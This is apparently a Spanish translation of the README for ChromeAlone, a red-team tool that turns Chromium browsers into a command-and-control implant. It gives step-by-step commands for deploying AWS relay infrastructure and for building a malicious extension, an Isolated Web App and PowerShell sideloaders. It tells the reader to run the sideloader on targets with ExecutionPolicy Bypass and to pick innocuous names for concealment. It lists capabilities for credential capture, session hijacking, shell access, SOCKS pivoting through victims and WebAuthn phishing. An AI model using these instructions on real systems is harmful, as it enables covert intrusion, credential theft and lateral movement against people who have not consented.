
Una herramienta para convertir navegadores Chromium en un implante C2.

ChromeAlone es un implante de navegador que puede utilizarse en lugar de los implantes convencionales como Cobalt Strike o Meterpreter. Este repositorio proporciona un proceso de compilación sencillo que generará una consola de gestión, desplegará infraestructura y creará un script de sideloader de powershell para ejecutar en los objetivos.
Después de la instalación, cada implante ChromeAlone proporcionará mecanismos para:
Primero construye el contenedor docker: docker build -t chromealone .
Actualmente hay dos modos de despliegue compatibles. Ten en cuenta que en cualquier caso, debes ejecutar docker desde el directorio base del repositorio git de ChromeAlone.
Para esto necesitarás tener una cuenta de AWS configurada con tus credenciales almacenadas en ~/.aws/credentials. Asegúrate de que tu cuenta tenga permisos completos de escritura en EC2 junto con permisos de Route53. Además, se asume que tu Route53 ha sido configurado con al menos 1 zona de alojamiento que contenga un dominio registrado. Si se cumplen estas condiciones, entonces puedes ejecutar este comando.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
El valor de domain debe coincidir con un dominio bajo el control de tu configuración de Route53. appname puede ser el valor que quieras, y se usará para nombrar varias claves de registro y carpetas en el disco durante el despliegue. Se recomienda usar un nombre bastante benigno como UpdateService o algo igualmente inocuo.
Ten en cuenta que region es opcional y, si no se especifica, se usará us-east-2 por defecto.
Esto desplegará el servidor relay BATTLEPLAN en AWS y generará los siguientes artefactos:
output/client - La aplicación web de control para gestionar tus instalaciones de ChromeAlone.
output/sideloader.ps1 - El script de instalación para ejecutar en los objetivos e infectar su instancia local del navegador. NOTA: También habrá un archivo iwa-sideloader.ps1 para cargar SOLO la Isolated Web App, y
extension-sideloader.ps1 para cargar SOLO la extensión del navegador.
output/extension - La extensión de navegador maliciosa generada.
output/iwa - El bundle de webapp firmado de la Isolated Web App maliciosa generada.
output/relay-deployment - Artefactos de Terraform de tu despliegue en AWS, incluida una clave SSH para acceder directamente al host.
Si ya has desplegado una instancia, output/relay-deployment/terraform.tfvars contendrá toda la información necesaria para generar nuevos scripts de sideloader y extensiones maliciosas. Puedes apuntar el archivo docker de ChromeAlone al archivo tfvars y omitirá el paso de despliegue mientras mantiene los metadatos adecuados para gestionar las conexiones.
Ejecuta el script de compilación docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService y generará un nuevo sideloader malicioso para tu despliegue.
Toma sideloader.ps1 y ejecútalo en tu máquina objetivo con Windows 10 o Windows 11 usando powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1. Ten en cuenta que puedes ejecutarlo con banderas adicionales si deseas instalar un host de NativeMessaging (requerido para ejecutar comandos del sistema) o forzar que chrome se reinicie (necesario si quieres que tu extensión se ejecute inmediatamente después de ejecutar este script en lugar de esperar a la próxima vez que el usuario abra Chrome). Un ejemplo de invocación con ambas banderas es powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. También puedes modificar los valores predeterminados al inicio del script de false a true si deseas que estas banderas se utilicen automáticamente.
La ejecución completa del script tardará aproximadamente 20-30 segundos.
Una vez que ChromeAlone esté cargado, puedes ver cualquier host conectado abriendo output/client/index.html. Esta aplicación web estará preconfigurada para conectarse de vuelta a tu instancia de relay BATTLEPLAN desplegada. Ten en cuenta que, por defecto, el relay está protegido por firewall para permitir únicamente el acceso de control entrante en los puertos 1080-1181 desde la IP que desplegó el servidor. Si deseas modificar esto, tendrás que actualizar la configuración de red de la instancia EC2 para incluir cualquier máquina adicional.
La mayoría de los comandos se pueden ejecutar desde la WebUI, incluyendo:
Quick Commands, que requiere seleccionar un agente objetivo en la sección Execute Command)Captured Data)Execute Command)File Browser)Interactive Shell)La principal excepción a esto es el proxy SOCKS. A cada host infectado se le asigna un puerto SOCKS único para el servidor que se puede ver en la sección Agent Information, donde cada agente tiene un campo Port. El puerto asignado, combinado con las credenciales admin almacenadas en output/client/config.js, se puede usar para configurar un proxy SOCKS específico del host.
Por ejemplo, supongamos que tenemos un agente cuyo puerto es 1081, nuestro dominio es chrome.alone, nuestro nombre de usuario es admin (este siempre es el caso) y nuestra contraseña es thisisnotarealpassword. Aquí hay algunos ejemplos de uso:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
El repositorio ChromeAlone se divide en componentes, muchos de los cuales podrían usarse individualmente como parte de una evaluación, pero juntos representan toda la cadena de herramientas del implante de navegador Chromium.
BATTLEPLAN - Este es el componente de servidor de gestión de la cadena de herramientas. Contiene scripts de terraform para desplegar en un entorno de AWS, así como un cliente HTML para interactuar con el servidor después del despliegue.BLOWTORCH - Esta es una Isolated Web Application maliciosa que utiliza permisos de Direct Socket para implementar un proxy SOCKS TCP y un servidor websocket para permitir comunicaciones entre otros componentes de chrome. También actúa como puente de mensajería de vuelta al servidor relay BATTLEPLAN.DOORKNOB - Esta es una serie de scripts utilizados para generar sideloaders de powershell para Isolated Web Apps y Chrome Extensions. El script en build.sh proporciona un ejemplo de cómo crear un único script de instalación de Powershell que combina ambos sideloaders individuales en uno.HOTWHEELS - Esta es una extensión de Chrome maliciosa que implementa todas sus capacidades en Web Assembly. Proporciona la gran mayoría de los conjuntos de características de ChromeAlone para captura de credenciales, secuestro de sesiones, ejecución de comandos del sistema y lectura del sistema de archivos.PAINTBUCKET - Una serie de content scripts que permiten el phishing de solicitudes WebAuthn ocultando solicitudes WebAuthn adicionales dentro de iFrames en pestañas inactivas cada vez que se realiza una solicitud WebAuthn normal.Esta herramienta ha sido escrita por Mike Weber de Praetorian Security.
Este trabajo se apoya en los hombros de muchas otras herramientas de investigadores y publicaciones de blogs que han contribuido a este espacio. Sin su trabajo, este proyecto no existiría. Si buscas profundizar en el funcionamiento interno que este proyecto utiliza, sugiero leer los siguientes recursos:
ChromeAlone está licenciado bajo la Apache License, Versión 2.0.
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.